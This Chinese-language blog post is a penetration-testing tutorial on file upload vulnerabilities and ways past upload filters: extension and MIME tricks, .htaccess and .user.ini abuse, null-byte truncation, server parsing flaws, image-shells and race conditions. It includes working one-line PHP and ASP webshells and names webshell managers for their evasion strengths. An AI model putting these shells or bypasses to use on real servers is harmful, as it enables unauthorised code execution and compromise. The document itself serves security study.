文件上传

文件上传漏洞

  • 1.原理

    ​ 攻击者上传包含恶意的脚本文件,并访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果 。 大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤 , 还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护

  • 2.利用条件

    1. 文件上传功能能正常使用
    2. 上传文件路径可知
    3. 上传文件可以被访问
    4. 上传文件可以被执行,或者被包含
  • 3.常用的防护方式以及绕过

    • 1.前端js检测

      绕过方法: burpsuit抓包修改

    • 2.服务端MIME检测绕过(Content-Type检测)

      使用burp代理,修改Content-Type的参数,

      例如:

      在这里插入图片描述

      content-type上面的修改为下面的。
      在这里插入图片描述

      详细MIME TYPE请点击MIME type

    • 3.服务端扩展名检测

      • 1.黑名单

        原理是:服务器代码通过对一些后缀进行过滤,不让这些后缀的文件上传,也就是说是将这些不让上传的文件后缀加入了黑名单。

        绕过:

        1. 后缀名字双写嵌套

        2. 文件名大小写绕过

        3. 特殊文件名/畸形后缀

           • php • php3  • php4   • php5  • php7  • pht  •phtml •phar  •phps 
           •Asp  •aspx  • cer •cdx •asa  •asax 
           •jsp jspa jspx  
          
        4. .htaccess攻击

        使用这个方法针对的是apache,并且mod_rewrite模块开启。AllowOverride All。因为我们通常利用Apache的rewrite模块对URL进行重写,rewrite规则会写在 .htaccess 文件里。在 AllowOverride 设置为 None 时, .htaccess 文件将被完全忽略。当此指令设置为 All 时,所有具有 “.htaccess” 作用域的指令都允许出现在 .htaccess 文件中。

        文件内容为:

        AddType application/x-httpd-php .png 
        或者
        <FilesMatch “ajest”>
        SetHandler application/x-httpd-php
        <FilesMatch>
        

        第一个代码可以将所有的.png文件解析为php来执行

        第二个代码将ajest.png文件解析为php文件。

        1. windows特性

          window特性就是window对于文件的后缀名自动的修改,例如空格和点,冒号后面的内容都省略掉,可以利用window特性进行绕过。

          shell.php .
          shell.php:.jpg
          shell.php<>
          shell.php::$DATA
          1.php:.jpg这类文件在上传后,在Windows中会被保存为一个空的1.php文件,然后可
          以再上传一个1.php<>或者1.php<或者其他Windows7不允许的后缀,就会覆盖前边那个空的
          1.php
          
          NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$DATA。上传.php::$DATA绕过。
          
        2. user.ini绕过

          .user.ini文件里的意思是:所有的php文件都自动包含指定的文件

          可以输入:

          auto_prepend_file=test.jpg
          

          自动包含该文件,导致代码执行:

          这个绕过方式前提是上传目录下要有可执行的php文件

      • 2. 白名单
        1. %00截断

          ​ 因为php的内核是由c语言实现的,所以php中会有一些c语言的特性。比如在字符串进行连接的时候,0字节(\x00)就会被作为字符串结束符。我们传递一个类似".php%00.png"后缀文件,%00后面的东西就会被php内核默认丢掉,但是我们的服务端代码很好骗,它只看最后的后缀,后缀是他白名单中允许的它就允许通过,最后php解析导致绕过成功。

          使用条件

          1、magic_quotes_gpc =off

          2、php版本小于5.3.4

        2. 服务器解析漏洞

          1. apache解析漏洞

            在 Apache 1.x 和 Apache 2.x 中存在解析漏洞

            Apache按从右到左的顺序识别文件后缀,直至找到后缀能匹配配置文件中的设置。遇到不能识别的后缀名便跳过。

            shell.php.xxx将会被解析成php文件,可用来绕过黑名单过滤
            
          2. IIS解析漏洞

            IIS6.0 在解析文件时存在以下两个解析漏洞 .

            1.当建立 *.asa  、*.asp 格式的文件夹时 , 其目录下的任意文件都将被 IIS 当作 asp 文件 来解析 
            2.在 IIS6.0 下 , 分号后面的扩展名不会被解析, 也就是说当文件为 *.asp;.jpg时,IIS6.0 同样会以 ASP脚本来执行 .
            
          3. PHP CGI 解析漏洞

            在 PHP的配置文件中有一个关键的选项 : cgi.fi: x_pathinfo. 这个选项在某些版本是

            默认开启的.

            影响版本:< PHP 5.3.12 或 < PHP 5.4.2

            在访问 url时, 比如

            http://www.xxx.com/x.txt/x.php
            

            x.php是不存在的 文件 , 所以 php 将会向前递归解析 , 于是就造成了解析漏洞 . 由于这种漏洞常见于 IIS7.0 、 IIS7.5 、 Nginx 等 Web服务器 , 所以经常会被误认为是这些 Web服务器的解析漏洞 .

          4. Nginx <8.03 空字节代码执行漏洞

            影响版本 :0.5,0.6,0.7<=0.7.65 0.8<=0.8.37

            Nginx 在图片中嵌入 PHP代码 , 然后通过访问 xxx.jpg%00.php 可以执行其中的代码 .

        3. 文件包含

        图片马配合文件包含漏洞,达到执行木马文件的效果。

        1.制作一个图片马

        copy  info.jpg/b + info.php/a 2.jpg
        info.jpg为正常图片
        info.php 里面为木马
        

        2.上传图片马

        3.然后利用文件包含漏洞访问该图片

        然后就会解析图片马中的代码、

        1. 条件竞争

          防护手段

          该种防护手段是先把图片进行上传,在把文件后缀截取下来与白名单进行比较,如果不在白名单中该文件就会被删除。

          绕过方法

          在程序 发生一些不受控制的事件并没有按照开发者想的进行下去,那么这个程序可能就会产生bug。尤其在我们进行大量的资源共享,处理不当,就会产生竞争漏洞。所以我们可以通过上传一个恶意shell文件,在上传完成和安全检查完成并删除它之间这个间隙,我们在通过工具上传大量的访问请求,这样就会导致竞争漏洞的触发。

    • 4.文件内容检测

      有的时候文件上传,会检测上传文件的内容,来防止而已木马上传,这个时候我们的图片马可能也上传不了,有时候会将文件内容进行二次渲染,让其中的木马执行不了。

      渲染函数:使用imagecreatefrom 系列渲染图片有可能被绕过,有些特殊的图马是可以逃避过渲染的

      绕过方式:

      寻找没有被渲染的字符块,

      现将gif图片上传,然后再导出,然后使用 010Editor 打开渲染过的和源文件,在 「Tools」选项下面找到「Compare Files」即可对比两个文件内容:

      将木马插入到没有渲染的地方。

  • 4.常用的webshell工具

    1. 中国菜刀
    2. 蚁剑
    3. 冰蝎
    4. 哥斯拉

    这四款工具,中国菜刀比较经典的webshell管理工具,但是现在很多网站都做了waf检测,防火墙检测,我们需要流量加密,以及木马特征的隐藏,这方面冰蝎和哥斯拉做得更好,冰蝎有流量动态加密的工能,免杀能力还是不错的,而哥斯拉,在静态免杀方面更好。

    蚁剑比菜刀的功能要好一些,也有一些加密的功能,但是比不上冰蝎和哥斯拉。

  • 5.常见的小马

    常用一句话木马;
    <?php @eval($_POST['pass']);?>
    <%eval request("chopper")%>
    <%execute(request("hihack"))%>
    <%@ Page Language=”Jscript”%> <%eval(Request.Item[“hihack”],”unsafe”);%>
    
    冰蝎提供的有默认的木马模板
    哥斯拉需要自己生成木马
    
    参考链接;https://www.cnblogs.com/goodgad/p/13463866.html
    
  • 6.常见存在文件上传的地方

    头像										插件管理
    编辑器                                     上传图片
    后台中的文件管理							插入数据的地方							
    模板管理				
    主题管理
    

    总之:任何我们能控制文件内容的地方,都可能存在文件上传漏洞

    https://www.sqlsec.com/2020/10/upload.html#toc-heading-17

posted @   戴好面具  阅读(112)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示